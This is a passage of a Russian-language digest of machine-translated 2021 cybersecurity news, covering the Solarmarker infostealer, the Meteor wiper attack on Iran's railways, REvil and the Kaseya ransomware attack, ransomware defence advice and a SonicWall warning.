Cisco отметила, что вредоносная программа ранее использовалась вместе с dm, но теперь используется с промежуточным модулем Mars. Исследователи также обнаружили еще один модуль, о котором ранее не сообщалось, который они назвали «Уран».

«Talos активно отслеживает кампанию вредоносных программ с помощью программы для кражи информации Solarmarker, начиная с сентября 2020 года, - говорится в отчете. «Некоторая телеметрия DNS и связанная с ней активность даже указывают на апрель 2020 года. В то время мы обнаружили три основных компонента DLL и несколько варианты, использующие аналогичное поведение».

Согласно исследованию, злоумышленники обычно вводят stager на хост-машину жертвы для передачи команд и управления и дальнейших злонамеренных действий до того, как будет замечен второй компонент под названием «Jupyter», внедренный stager.

Когда аналитики Cisco исследовали модуль DLL, названный «Jupyter», они обнаружили, что он может украсть личную информацию, учетные данные и значения отправки формы из установочных каталогов Firefox и Chrome и пользовательских каталогов жертвы.

Модуль использует запросы HTTP POST для отправки информации на свой сервер C2. Злоумышленники использовали различные меры, такие как включение флага «CurrentUser» для аргумента области защиты данных в вызове метода «Unprotect», чтобы усложнить попытки расшифровать или проанализировать необработанные данные, передаваемые между жертвой и сервером C2.

«Похититель информации Jupyter - второй по популярности модуль Solarmarker. Во время выполнения многих образцов Solarmarker мы наблюдали, как C2 отправляет дополнительную полезную нагрузку PS1 на хост-машину», - говорится в отчете.

Ответы от C2 кодируются так же, как объект JSON, содержащий системную информацию жертвы. После изменения кодирования base64 и XOR он записывает этот поток байтов в файл PS1 на диске, запускает его и впоследствии удаляет файл. Этот новый сценарий PowerShell содержит.NET DLL в кодировке base64, которая также была внедрена через загрузку рефлексивной сборки.NET».

Аналитики заметили, что в стейджере есть форма браузера и другие возможности для кражи информации. Злоумышленники также используют

кейлоггер под названием «Уран», который был обнаружен в более ранних кампаниях.

«Промежуточный компонент Solarmarker служит центральным исполнительным узлом, облегчая начальную связь с серверами C2 и позволяя сбрасывать другие вредоносные модули на хост жертвы», - поясняется в отчете.

«В наблюдаемых нами данных стейджер развернут как сборка.NET с именем «d» и один исполняющий класс с именем «m» (в данном анализе совместно именуемые «d.m»). Вредоносная программа извлекает ряд файлов. в каталог «AppData \ Local \ Temp» хоста жертвы при выполнении, включая файл TMP с тем же именем, что и исходный загруженный файл, и файл сценария PowerShell (PS1), из которого порождается остальная часть цепочки выполнения».

Атака получила свое название от записи файла «AppData \ Roaming \ solarmarker.dat», который, как говорится в отчете, служит тегом идентификации хоста жертвы.

Расследование привело исследователей к «ранее неизвестной второй потенциальной полезной нагрузке» под названием «Уран», которая, по их словам, получена из файла «Uran.PS1», который размещен в инфраструктуре Solarmarker по адресу «on-offtrack [.] Biz / get / uran.ps1. "

Вредоносная программа-кейлоггер использует различные инструменты в рамках API среды выполнения.NET для таких вещей, как захват нажатий клавиш пользователем и соответствующих метаданных.

«Например, он будет искать доступные языки ввода и раскладки клавиатуры, установленные на хосте жертвы, и прикреплять их двухбуквенные коды ISO в качестве дополнительных атрибутов к собранным данным кейлоггеров. Интересно, что в этом случае актер специально проверяет немецкий и В сообщении говорится, что набор символов русского языка до перехода к английской метке по умолчанию.

«Извлечение выполняется каждые 10 000 секунд с использованием вызова спящего режима потока для задержки цикла событий Урана. Этот модуль также использует запросы HTTP POST в качестве основного метода связи с инфраструктурой Solarmarker C2».

Исследователи отметили, что общий поток выполнения Solarmarker не сильно изменился между вариантами. В большинстве случаев злоумышленники хотят установить бэкдор, но исследователи Talos заявили, что они начали замечать «всплески активности новых Solarmarker» в своей телеметрии примерно в конце мая.

Последняя версия включает улучшенный метод загрузки исходного родительского дроппера, а также обновления до нового промежуточного компонента под названием «Марс».

«Во время нашего исследования предыдущей деятельности кампании Талос изначально полагал, что жертвы загружали родительские вредоносные PE-файлы Solarmarker через универсальные поддельные страницы обмена файлами, размещенные на бесплатных сервисах сайта, но многие из фиктивных учетных записей стали неактивными с того времени, когда мы обнаружил имена файлов, используемых дропперами Solarmarker, в нашей телеметрии и попытался найти их URL-адреса для загрузки», - пишут исследователи Cisco.

«Этот метод доставки был позже подтвержден сторонними аналитиками вредоносного ПО в их собственных отчетах о Solarmarker. Например, мы видели несколько страниц загрузки, размещенных в подозрительных учетных записях на сайтах Google. Эти ссылки направляют жертву на страницу, предлагающую возможность загрузите файл в формате PDF или Microsoft Word. Переход по ссылке для загрузки отправляет жертву через несколько перенаправлений через разные домены, прежде чем перейти на последнюю страницу загрузки. Эта общая методология не изменилась; многие из имен родительских файлов, найденных в нашем телеметрию можно найти на подозрительных веб-страницах, размещенных на сайтах Google, хотя актер немного изменил их последние страницы-приманки».

Злоумышленники значительно улучшили окончательную страницу загрузки, чтобы она выглядела более легитимной.

Последняя версия также включает ложную программу PDFSam, которая «выполняется в тандеме с остальной частью инициализации Solarmarker, чтобы действовать как неверное направление для жертвы, пытаясь выглядеть как законный документ».

Несмотря на то, что в отчете есть некоторые свидетельства того, что русскоязычные пользователи создали Solarmarker, исследователи заявили, что их недостаточно, чтобы с высокой степенью достоверности установить эту атрибуцию.

В отчете предлагается, чтобы организации информировали пользователей об опасностях загрузки опасных файлов, а также о множестве других мер, призванных ограничить или заблокировать выполнение многочисленных скриптов Solarmarker.

«Мы ожидаем, что лицо, стоящее за Solarmarker, продолжит совершенствовать свои вредоносные программы и инструменты, а также изменит свою инфраструктуру C2, чтобы продлить свою кампанию в обозримом будущем», - говорится в отчете». ***(Jonathan Greig. Cisco researchers spotlight Solarmarker malware // ZDNet (https://www.zdnet.com/article/cisco-researchers-spotlight-solarmarker-malware/). 30.07.2021).***

***

«Было обнаружено новое вредоносное ПО для удаления файлов под названием Meteor, использовавшееся в недавних атаках на железнодорожную систему Ирана.

Ранее в этом месяце министерство транспорта Ирана и национальная железнодорожная система подверглись кибератаке, в результате чего веб-сайты агентства были закрыты, а движение поездов было нарушено. Злоумышленники также разместили сообщения на досках сообщений железной дороги о том, что поезда были задержаны или отменены из-за кибератаки.

В некоторых из этих сообщений пассажирам предлагалось позвонить по номеру телефона для получения дополнительной информации, который предназначен для офиса верховного лидера Али Хаменеи.

Помимо троллинга железной дороги, злоумышленники блокировали устройства Windows в сети с помощью экрана блокировки, который предотвращал доступ к устройству.

Новый стеклоочиститель Meteor использовался при атаках в Иране

В новом отчете SentinelOne исследователь безопасности Хуан Андрес Герреро-Сааде показал, что при кибератаке на Иран использовался ранее невидимый очиститель файлов под названием Meteor.

Вайпер - это вредоносная программа, которая намеренно удаляет файлы на компьютере и делает его невозможным для загрузки.

В отличие от атак программ-вымогателей, деструктивные атаки очистителя не используются для получения прибыли злоумышленниками. Вместо этого их цель - вызвать хаос в организации или отвлечь администраторов во время очередной атаки.

В то время как иранская компания по кибербезопасности Aman Pardaz ранее проанализировала очиститель, SentinelOne смог найти дополнительные недостающие компоненты, чтобы получить более четкую картину атаки.

«Несмотря на отсутствие конкретных индикаторов взлома, мы смогли восстановить большинство компонентов атаки, описанных в сообщении, а также дополнительные компоненты, которые они упустили», - объясняет Герреро-Сааде в исследовании SentinelOne.

«За этой диковинной историей об остановившихся поездах и бойких троллях мы нашли отпечатки пальцев незнакомого злоумышленника».

Сама атака получила название «MeteorExpress» и использует набор командных файлов и исполняемых файлов для очистки системы, блокировки главной загрузочной записи (MBR) устройства и установки программы блокировки экрана.

Чтобы начать атаку, злоумышленники извлекли архив RAR, защищенный паролем hackemall. Затем злоумышленники добавили эти файлы в общий сетевой ресурс, доступный для остальных компьютеров в сети иранской железной дороги.

Затем злоумышленник настроил групповые политики Windows для запуска пакетного файла setup.bat, который затем копировал различные исполняемые файлы и пакетные файлы на локальное устройство и выполнял их…». ***(Lawrence Abrams. New destructive Meteor wiper malware used in Iranian railway attack // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/new-destructive-meteor-wiper-malware-used-in-iranian-railway-attack/). 29.07.2021).***

***

Програми-вимагачі

«Веб-сайты банды вымогателей REvil во вторник внезапно стали недоступны, что вызвало повсеместное предположение о том, что группа была отключена от сети. Связанная с Россией группа киберпреступников собрала десятки миллионов долларов в виде выкупа в обмен на восстановление взломанных компьютерных систем. В последние недели он взял на себя ответственность за разрастающуюся эпидемию программ-вымогателей, затронувшую примерно от 800 до 1500 предприятий по всему миру. Сайты с программами-вымогателями могут быть ненадежными, и было неясно, было ли исчезновение сайта мгновенной

случайностью, или хакеры отключили инструменты или были удалены из Интернета кем-то другим. Как платежный портал группы, так и ее блог, в котором назывались имена жертв, отказавшихся платить требуемый выкуп, и стыдились их, были недоступны. Белый дом от комментариев отказался. Попытка связаться с REvil, один из представителей которой кратко поговорил с Reuters на прошлой неделе, не увенчалась успехом. Исчезновение не обязательно является значительным. Акты исчезновения обычны в мире программ-вымогателей, где банды, как правило, исчезают и меняют свой бренд, когда они начинают привлекать слишком много внимания. REvil уже привлекал внимание правительства США на высшем уровне, и на Вашингтон нарастало давление, чтобы тот предпринял более решительные действия против REvil и подобных ему групп.

Соединенные Штаты подверглись череде громких хакерских атак со стороны киберпреступников в поисках выкупа, включая вторжение в Colonial Pipeline (COLPI.UL), которое нарушило поставки бензина через Восточное побережье. В пятницу президент Джо Байден намекнул, что Соединенные Штаты могут вскоре предпринять более агрессивные действия в отношении программ-вымогателей. На вопрос корреспондента Reuters в пятницу, имеет ли смысл атаковать российские серверы, используемые для таких вторжений, Байден сделал паузу, улыбнулся и сказал: «Да». Для главы одной компании, занимающейся кибербезопасностью, возможность того, что кто-то - правительство США или иным образом - отключил группу, вызывает некоторые опасения. «Если это было организованное кибернаступление, я надеюсь, что побочный ущерб был учтен», - сказал Куртис Миндер, основатель компании по анализу угроз GroupSense. Преступники-вымогатели и их жертвы в некотором смысле взаимозависимы: злоумышленники владеют ключами к зашифрованным данным своих жертв. По его словам, если эти ключи будут потеряны или уничтожены в результате кибератаки, «многим компаниям, отдельным лицам будет сложно восстановить их». Он добавил, что разрушение одного или двух серверов киберпреступников в долгосрочной перспективе нецелесообразно. «REvil - один из десятков крупных операторов программ-вымогателей», - сказал он. «Мы собираемся атаковать их всех» ***(Raphael Satter. Ransomware gang REvil's websites become unreachable // Reuters (https://www.reuters.com/technology/ransomware-gang-revils-websites-become-unreachable-2021-07-13/). 14.07.2021).***

***

«Сотни американских компаний пострадали в пятницу от необычно изощренной атаки программ-вымогателей, в ходе которой было похищено широко используемое программное обеспечение для управления технологиями от поставщика Kaseya из Майами.

Злоумышленники изменили инструмент Kaseya под названием VSA, используемый компаниями, которые управляют технологиями на малых предприятиях. Затем они одновременно зашифровали файлы клиентов этих провайдеров.

Фирма по безопасности Huntress заявила, что отслеживает восемь поставщиков управляемых услуг, которые использовались для заражения около 200 клиентов.

Kaseya сообщила на своем собственном веб-сайте, что расследует «потенциальную атаку» на VSA, который используется ИТ-специалистами для управления серверами, настольными компьютерами, сетевыми устройствами и принтерами.

Он сказал, что в ответ отключил часть своей инфраструктуры и настоятельно рекомендовал клиентам, которые использовали VSA в своих помещениях, немедленно выключить свои серверы.

«Это колоссальная и разрушительная атака на цепочку поставок», - сказал в электронном письме старший исследователь безопасности Huntress Джон Хаммонд, имея в виду все более популярную хакерскую технику, заключающуюся в захвате одного программного обеспечения с целью одновременного взлома сотен или тысяч пользователей.

Хаммонд добавил, что, поскольку Kaseya подключена ко всему, от крупных предприятий до небольших компаний, «у нее есть потенциал для распространения на бизнес любого размера и масштаба». По мнению экспертов, многие поставщики управляемых услуг используют VSA, хотя их клиенты могут этого не осознавать.

Некоторые сотрудники поставщиков услуг говорили на досках обсуждений, что их клиентов ударили еще до того, как они смогли получить предупреждение.

Reuters не удалось связаться с представителем Kaseya для дальнейших комментариев. Huntress заявила, что считает, что связанная с Россией банда вымогателей REvil - та же группа лиц, которую ФБР обвинило в том, что в прошлом месяце парализовало упаковщик мяса JBS (JBSS3.SA), - виновата в последней вспышке вымогателей.

ТРЕБОВАНИЯ НА ВЫКУП

Представитель частной службы безопасности, работавший над реагированием, сказал, что требования выкупа, сопровождающие шифрование, варьируются от нескольких тысяч долларов до 5 миллионов долларов и более.

Повреждение процесса обновления показывает заметное усиление изощренности большинства атак программ-вымогателей, которые используют лазейки безопасности, такие как общие пароли без двухфакторной аутентификации.

Электронное письмо, отправленное хакерам с просьбой о комментариях, не было немедленно возвращено. В заявлении Агентства по кибербезопасности и безопасности инфраструктуры США говорится, что оно «принимает меры для понимания и устранения недавней атаки вымогателей в цепочке поставок» на продукт VSA компании Kaseya.

Атаки на цепочки поставок заняли первое место в повестке дня кибербезопасности после того, как США обвинили хакеров в том, что они действуют по указанию правительства России и вмешиваются в инструмент сетевого мониторинга, созданный техасской программной фирмой SolarWinds.

У Kaseya 40 000 клиентов, но не все используют этот инструмент». ***(Raphael SatterJoseph Menn. Ransomware breach at Florida IT firm hits 200 businesses //***

Reuters (https://www.reuters.com/technology/200-businesses-hit-by-ransomware-following-incident-us-it-firm-huntress-labs-2021-07-02/?taid=60df8ebfbcdfda0001432898&utm_campaign=trueAnthem:+Trending+Content&utm_medium=trueAnthem&utm_source=twitter). 03.07.2021).

***

«…14 июня Национальный центр кибербезопасности Великобритании заявил, что программы-вымогатели представляют собой самую большую угрозу сетевой безопасности для большинства людей и предприятий, и за последние два года количество инцидентов во всем мире резко возросло.

И это проблема и угроза, которых мы все должны опасаться.

Почему число атак программ-вымогателей растет

Эти атаки обычно связаны с получением хакерами доступа к системам организации, шифрованием данных и файлов и требованием оплаты за их выпуск. Это тактика, которую киберпреступники использовали в течение многих лет, но сейчас практика становится все более «профессиональной».

По данным Национального центра кибербезопасности, преступные группировки используют программы-вымогатели для получения десятков миллионов фунтов стерлингов от предприятий, которые не могут позволить себе потерять свои данные или терпят простои, вызванные взломом. Частично эта «профессионализация» предполагает, что организованные банды выискивают свои цели и адаптируют свои требования к размеру цели. Например, есть примеры небольших фирм или частных лиц, на которых нацелены требования выкупа всего в 1500 фунтов стерлингов, что может быть доступным в таких обстоятельствах. По сути, некоторые организованные преступные группировки применяют бизнес-принцип «предельной готовности платить», чтобы устанавливать свои требования в размере, который с большей вероятностью будет урегулирован, чем решен.

При этом многие цели - это крупные компании с большими карманами. Эти компании являются привлекательными объектами из-за своего масштаба: они могут быть в состоянии удовлетворить более высокие требования выкупа и могут быть более склонны платить, учитывая, что они могут потерять огромные суммы денег из-за простоев и последствий раскрытия информации. Важно отметить, что сохраняется совет, что такие требования не должны оплачиваться, но мы должны признать, что некоторые считают, что это лучшее решение.

Организованные банды даже реинвестируют средства, которые они зарабатывают в результате успешных атак, для улучшения своих методов и повышения прибыльности в будущем, действуя в соответствии с современными законными предприятиями, чтобы максимизировать отдачу от своих инвестиций. Это означает, что угроза атак программ-вымогателей не исчезнет в ближайшее время, если вообще исчезнет.

Как атаки программ-вымогателей дестабилизируют организацию

Travelex - поставщик услуг по обмену валюты - по сообщениям, в прошлом году заплатил 2,3 миллиона долларов, чтобы восстановить контроль после того, как хакеры отключили его сети. Последствия этого были разрушительными: компания

в конечном итоге перешла в административный режим, что привело к потере 1300 рабочих мест.

Совсем недавно крупнейшая в мире мясоперерабатывающая компания JBS и американская нефтяная сеть Colonial Pipeline подверглись атакам программ-вымогателей, последняя, как сообщается, заплатила выкуп в размере 3,1 миллиона фунтов стерлингов.

В результате атаки на Colonial Pipeline правительство США смогло вернуть значительную часть денег, но готовность Colonial Pipeline заплатить выкуп после атаки является примером того, как бизнес предпочитает потенциально более дешевую выплату выкупа по сравнению со значительными эксплуатационными расходами. это может быть вызвано отключением системы.

Также важно помнить, что уплата выкупа не обязательно означает, что преступные группировки выполнят любые обещания стереть захваченные данные или полностью восстановить системы.

Как предприятия могут защитить себя от программ-вымогателей

Все предприятия должны подготовиться и защитить себя от атак программ-вымогателей, особенно те, которые хранят и обрабатывают конфиденциальную информацию, такую как медицинские данные и финансовые данные, поскольку эти организации могут быть более привлекательными целями для хакеров.

Прежде всего, организации должны развернуть профессиональное и ведущее на рынке программное обеспечение для обеспечения кибербезопасности и нанять внутренних и внешних экспертов для предотвращения атак. Это идет рука об руку с применением надежных процедур кибербезопасности, таких как многофакторная аутентификация, и принудительное применение надежных и уникальных паролей для предотвращения любых уязвимостей. В конце концов, любая защита хороша ровно настолько, насколько хорошо ее самое слабое звено. Организации также должны иметь надежную стратегию резервного копирования, чтобы защитить себя от воздействия, вызванного атаками программ-вымогателей, поскольку это может обеспечить наиболее плавный возврат к работе в кратчайшие сроки. Регулярное резервное копирование данных и их хранение в отдельной системе или в автономном режиме может помочь свести к минимуму воздействие взлома.

Кроме того, обучение сотрудников является мощным оружием в арсенале программ-вымогателей. Обучение сотрудников распознаванию методов социальной инженерии, предотвращению использования приманки для кликов и избеганию вложений от неизвестных отправителей - простые способы, которые могут помочь предотвратить получение хакерами доступа к системе с помощью элементарных методов. Обучение этому может быть проведено экспертной организацией. Хотя это расходы, они, вероятно, будут мизерными по сравнению с выкупом, требуемым хакерами, и стоимостью любых судебных исков и штрафов в случае раскрытия личной информации.

После того, как хакер зашифровал данные, может показаться, что единственным жизнеспособным вариантом может быть оплата за восстановление доступа, чтобы компания не рискнула потерять данные и понести простои. Но организации, которые предотвращают и устраняют риски, которые делают их более привлекательными целями, будут наиболее эффективными в борьбе с хакерами.

Неспособность подготовиться - значит подготовиться к провалу

Количество атак программ-вымогателей растет во всем мире, и хакеры мотивированы тем фактом, что многие организации предпочитают платить выкуп вместо того, чтобы терять свои данные и дестабилизировать свои операции. Однако рост числа атак не означает, что мы все беззащитны перед программами-вымогателями. Как и в случае с любой другой кибербезопасностью, неспособность подготовиться ведет к провалу. Организации должны применять надлежащие меры кибербезопасности, гарантировать, что они нанимают экспертов и должным образом обучают свой персонал, а также делают резервные копии своих данных, чтобы предотвратить финансовое опустошение и разрушение репутации». ***(Aman Johal. How Organizations Must Protect Themselves from Ransomware Attacks // IPWatchdog, Inc. (https://www.ipwatchdog.com/2021/07/07/organizations-must-protect-ransomware-attacks/id=135288/). 07.07.2021).***

***

«Согласно новому отчету компании Digital Shadows, занимающейся кибербезопасностью, более 700 организаций были атакованы программами-вымогателями, и их данные были опубликованы на сайтах утечки данных во втором квартале 2021 года.

Из почти 2600 жертв, перечисленных на сайтах утечки данных программ-вымогателей, имена 740 были названы во втором квартале 2021 года, что на 47% больше, чем в первом квартале.

В отчете описываются основные события квартала, в том числе атака DarkSide на Colonial Pipeline, атака на глобальную мясоперерабатывающую компанию JBS и усиление правоохранительных действий со стороны американских и европейских агентств.

Но исследовательская группа Photon Research из Digital Shadows обнаружила, что под поверхностью появляются и другие тенденции в области вымогателей. Поскольку группа программ-вымогателей Maze помогла популяризировать концепцию сайта утечки данных, тактика двойного вымогательства стала модной среди групп, стремящихся нанести максимальный ущерб после атак.

Digital Shadows отслеживает информацию, отправляемую на 31 сайт утечек Dark Web, предоставляя им доступ к информации о том, сколько групп сейчас крадут данные во время атак программ-вымогателей и размещают их в Интернете.

Согласно отчету, на сайтах утечек в даркнете преобладали данные компаний из сектора промышленных товаров и услуг. В списке атакованных организаций также преобладали организации строительства и материалов, торговли, технологий и здравоохранения.

В секторе розничной торговли наблюдался наибольший рост атак программ-вымогателей: исследователи Digital Shadows обнаружили рост на 183% с первого по второй квартал.

Что касается активности, группа Conti лидировала, за ней следовали Avaddon, PYSA и REvil.

«Это второй квартал подряд, когда мы видим, что Conti является наиболее активным с точки зрения жертв, названных в их DLS. Conti, который, как

считается, имеет отношение к программе-вымогателю Ryuk, постоянно и безжалостно атакует организации в критических секторах, включая службы экстренной помощи. В отчете говорится о разрушительной атаке группы на систему здравоохранения Ирландии.

Но в отчете отмечается, что на более широком рынке программ-вымогателей ряд групп исчезли или возникли из ниоткуда. По данным Digital Shadows, во втором квартале все группы вымогателей Avaddon, Babuk Locker, DarkSide и Astro Locker закрыли свои операции, в то время как такие группы, как Vice Society, Hive, Prometheus, LV Ransomware, Xing и Grief, появились с собственными сайтами утечек в Dark Web.

В отчете также отмечается, что 60% организаций-жертв находятся в США, и только в Канаде число атак программ-вымогателей сократилось с первого по второй квартал.

Во втором квартале от программ-вымогателей пострадали более 350 американских организаций по сравнению с 46 из Франции, 39 из Великобритании и 35 из Италии.

Авторы отчета задались вопросом, увидит ли в третьем квартале больше атак, похожих на атаку программы-вымогателя Kaseya, когда операторы REvil использовали уязвимость нулевого дня для компрометации более 40 поставщиков управляемых услуг.

«Операции с программами-вымогателями, скорее всего, продолжат беззастенчиво работать в третьем квартале 2021 года, мало учитывая то, на кого они нацелены, и больше - о том, сколько денег они могут заработать», - пишут исследователи». ***(Jonathan Greig. 740 ransomware victims named on data leak sites in Q2 2021: report // ZDNet (https://www.zdnet.com/article/740-ransomware-victims-named-on-data-leak-sites-in-q2-2021-report/). 22.07.2021).***

***

«Очевидная атака с использованием программ-вымогателей привела к отключению сотен автоматов самообслуживания в сети на севере Англии.

Клиентам, которым необходимо использовать Северную железнодорожную компанию, которая обслуживает города по всей северной Англии, настоятельно рекомендуется использовать мобильное приложение, веб-сайт или билетные кассы, пока билетные автоматы не работают. Атака произошла всего через два месяца после того, как 600 северных билетных автоматов с сенсорным экраном были установлены на 420 станциях по всему региону.

«На прошлой неделе мы столкнулись с техническими проблемами с нашими автоматами по продаже билетов, что означало, что все пришлось отключить», - сказал ZDNet представитель Northern.

«Это предмет текущего расследования с нашим поставщиком, но есть признаки того, что сервис билетных автоматов подвергся кибератаке с использованием программ- вымогателей».

Не было подробно описано, какая форма вымогателя Northern, управляемая государством, могла стать жертвой или каким образом киберпреступники могли взломать сеть, но компания заявляет, что «быстрые меры», предпринятые вместе с

поставщиком платежных систем и систем продажи билетов Flowbird, означают инцидент затронул только серверы, на которых работают билетные автоматы.

«Проблема была впервые выявлена с помощью систем кибер-мониторинга, и наши первоначальные расследования показали, что служба могла подвергнуться кибератаке», - сообщил ZDNet представитель Flowbird.

И Northern, и Flowbird утверждают, что в результате атаки не была скомпрометирована информация о клиентах или платежные данные…». ***(Danny Palmer. Hundreds of touchscreen ticket machines are offline after a ransomware attack // ZDNet (https://www.zdnet.com/article/hundreds-of-touchscreen-ticket-machines-are-offline-after-a-ransomware-attack/). 20.07.2021).***

***

«Угроза программ-вымогателей сейчас доминирует в кибер-новостях, и это правильно. Но на этой неделе Рэйчел Фальк, генеральный директор Австралийского центра совместных исследований кибербезопасности, высказала очень хорошее мнение.

Программы-вымогатели «полностью предсказуемы и предотвратимы, потому что это известная проблема», - сказал Фальк на панельной дискуссии в Австралийском институте стратегической политики (ASPI) во вторник.

«Известно, что вымогатели существуют. И известно, что киберпреступники неизменно проникают в организации путем кражи учетных данных, которые они получают в темной сети [или пользователя], нажимая на ссылку и уязвимость», - сказала она.

«Мы не говорим о каком-то национальном государстве, которое действительно происходит в стиле фанк. Это происходит во всем мире, так что это вполне предсказуемо».

«Есть четыре или пять шагов, которые вы можете предпринять, которые могут значительно снизить этот риск», - сказал Фальк. Это установка исправлений, многофакторная аутентификация и все, что входит в базовые стратегии смягчения последствий Essential Eight Австралийского управления сигналами.

Последний Essential Восемь Maturity Model даже поставляется с подробными контрольными списками для сетей на базе Windows.

«Компании предупреждают, что это риск для них», - сказал Фальк. «Часто есть известная проблема и известное решение, но люди этого не сделали».

Поэтому, учитывая эту леность, учитывая, что кибер - услуга пробуждения по телефону было проигнорировано с 1970, и учитывая, что организации продолжают самовольно не следовать советам, они даны, ваш корреспондент имеет вопрос.

Пришло ли время дать волю дарвинизму? Должны ли мы позволить взломать все эти ленивые организации и позволить Богу разобраться с ними?

«Мне нравится такой подход», - сказал Фальк. «Это ледниковое движение, и я думаю, что единственное изменение, которое сейчас может ускорить его, - это законодательство, которое, очевидно, правительство потенциально пытается ввести в данный момент», - сказала она, имея в виду предлагаемые изменения в законах о важнейшей инфраструктуре.

Возможно, мы начнем обращать внимание только тогда, когда появится больше 5G, больше коммуникации между устройствами и больше личной зависимости от сети.

«Мне кажется, что мне интересно, в какой-то мрачной форме, будет ли испытание, когда люди просто не могут пользоваться своими телефонами в течение получаса», - сказал Фальк.

«Вот когда вы заставите людей задуматься, о, у нас просто должен быть закон об этом, потому что мы не можем справиться с [без] iPhone, Интернетом, холодильником, потоковой передачей, Netflix, вы называете это».

Ладно, шутим. Вероятно.

В кибербезопасности, как и в сфере общественного здравоохранения, обвинять жертву контрпродуктивно. И во многих случаях именно клиенты и граждане действительно пострадают от программ-вымогателей и других кибератак, которые разрушают организацию.

«Это действительно может повлиять на жизнь и стать угрозой и риском для жизни. Так что я думаю, что люди должны начать думать об этом как об этом, а не о какой-то шутке», - сказал Фальк.

«Тот факт, что мы шутим о том, что Интернет не работает на 30 минут, это может быть связано с остановкой медицинской процедуры и кто-то умирает на полпути».

Например, в Германии в прошлом году одна пациентка умерла в результате атаки программы-вымогателя на больницу в Дюссельдорфе, в результате чего ее перевели в больницу, находящуюся на расстоянии более 30 километров. Полицейское расследование показало, что она, вероятно, все равно умерла бы, но в следующий раз нам может не повезти.

РЕКОМЕНДАЦИИ ASPI В ОТНОШЕНИИ ПРОГРАММ-ВЫМОГАТЕЛЕЙ

К счастью, глобальный консенсус в отношении того, как бороться с программами-вымогателями, все-таки появляется.

Одним из примеров является новый отчет Международного центра киберполитики ASPI «Exfiltrate, encrypt, extort: глобальный рост числа программ-вымогателей и варианты политики Австралии», соавтором которого является Фальк.

Относительно спорного вопроса о том, должны ли организации платить выкуп или нет, в докладе рекомендуется не вводить уголовную ответственность за их выплату. Вместо этого должен быть «режим обязательной отчетности... без страха правовых последствий».

Это было бы важным шагом на пути к прозрачности. Из всех крупных инцидентов с программами-вымогателями в Австралии - только Toll Holdings, BlueScope Steel, Lion Dairy and Drinks, юридическая фирма по управлению документами Law in Order, Nine Entertainment, Eastern Health в Виктории, Uniting Care Qld и JBS Foods - только JBS признал, что заплатил выкуп в размере 11 миллионов долларов.

Такая схема уже была предложена лейбористами в своем законопроекте о платежах от программ- вымогателей 2021, внесенном в парламент в прошлом месяце в рамках национальной стратегии в отношении программ-вымогателей.

В отчете ASPI рекомендуется расширить роль Австралийского центра кибербезопасности (ACSC) ASD, включив в него распространение общедоступных предупреждений в реальном времени.

ACSC также следует опубликовать список субъектов и псевдонимов угроз, связанных с вымогательством, с подробным описанием их методов работы и ключевых целевых секторов, а также предлагаемых методов предотвращения.

Уже известно, что ASD использует свои секретные возможности для предупреждения о надвигающихся атаках программ-вымогателей.

В отчете также рекомендуется заняться «низко висящими плодами» стимулирования и образования.

Сюда входят такие стимулы, как налоговые льготы для кибер-инвестиций, грантов или программ субсидий; «согласованная общенациональная кампания по просвещению общественности в отношении программ-вымогателей, проводимая ACSC во всех средствах массовой информации»; и «ориентированная на бизнес мультимедийная кампания по просвещению общественности», также проводимая ACSC.

«[Эта кампания должна] обучать организации любого размера и их сотрудников основам кибербезопасности и кибергигиены. Она должна быть сосредоточена на ключевых областях, таких как установка исправлений, многофакторная аутентификация, устаревшие технологии и человеческие ошибки».

Наконец, в отчете рекомендуется создать «специальную межведомственную рабочую группу по программам-вымогателям», в которую войдут представители штатов и территорий, для обмена данными об угрозах и разработки предложений по политике.

Ваш корреспондент не считает ни одну из этих рекомендаций необоснованной, хотя, возможно, есть вопросы о том, хорошо ли в настоящее время ACSC оснащена для проведения эффективной и увлекательной крупной кампании по информированию общественности.

Тем не менее, учитывая, как медленно австралийские организации адаптировались к киберрискам за последние пару десятилетий, возможно, нам нужно немного меньше пряника и немного больше кнута». ***(Stilgherrian. May ransomware blight all the cyber stragglers and let God sort them out // ZDNet (https://www.zdnet.com/article/may-ransomware-blight-all-the-cyber-stragglers-and-let-god-sort-them-out/). 16.07.2021).***

***

«Производитель сетевых устройств SonicWall разослал своим клиентам срочное уведомление о «неизбежной кампании вымогателей с использованием украденных учетных данных», нацеленной на продукты Secure Mobile Access (SMA) серии 100 и Secure Remote Access (SRA), работающие без исправлений и с истекшим сроком эксплуатации 8.x прошивка.

В дополнение к уведомлению, размещенному на своем веб-сайте, SonicWall отправил электронное письмо всем, кто использует устройства SMA и SRA, с призывом немедленно отключить свои устройства. Согласно сообщению, они работали с Mandiant и другими охранными компаниями над этой проблемой.

«Эксплуатация нацелена на известную уязвимость, которая была исправлена в более новых версиях прошивки. SonicWall PSIRT настоятельно рекомендует организациям, все еще использующим прошивку 8.x, изучить приведенную ниже информацию и принять немедленные меры», - заявила компания, отметив, что это было для тех, у кого есть SMA 100 и предыдущая серия SRA.

SonicWall призвал своих пользователей обновиться до последней доступной прошивки SRA и SMA, объяснив, что те, кто не борется с уязвимостями, «подвергаются неминуемому риску целевой атаки программ-вымогателей».

Любой, кто использует SRA 4600/1600 (EOL 2019), SRA 4200/1200 (EOL 2016) или SSL-VPN 200/2000/400 (EOL 2013/2014), должен немедленно отключить свои устройства и изменить все связанные пароли.

«Организации, использующие следующие устройства SMA и / или SRA с истекшим сроком службы с микропрограммой 8.x, должны либо обновить свое микропрограммное обеспечение, либо отключить свои устройства в соответствии с приведенными ниже инструкциями. Если ваша организация использует устаревшее устройство SRA с истекшим сроком службы статус и не может обновиться до прошивки 9.x, дальнейшее использование может привести к эксплуатации программ-вымогателей», - сказал SonicWall.

«Уязвимые устройства с истекшим сроком службы с микропрограммой 8.x прошли временные меры. устройств, которые не могут быть обновлены до прошивки 9.x или 10.x, мы предоставляем бесплатный виртуальный SMA 500v до 31 октября 2021 г.»

SonicWall добавил, что клиенты «также должны немедленно сбросить все учетные данные, связанные с вашим устройством SMA или SRA, а также с любыми другими устройствами или системами, использующими те же учетные данные».

Две недели назад SonicWall объявила об уязвимости в своем диспетчере сетевой безопасности, которая была обнаружена Positive Technologies и еще одной уязвимостью на своем портале VPN в июне.

SonicWall не ответила на вопросы о том, какие группы вымогателей были нацелены на уязвимость, но ранее в этом году исследователи из группы реагирования на инциденты NCC Group обнаружили новый вариант вымогателя FiveHands, нацеленный на SonicWall.

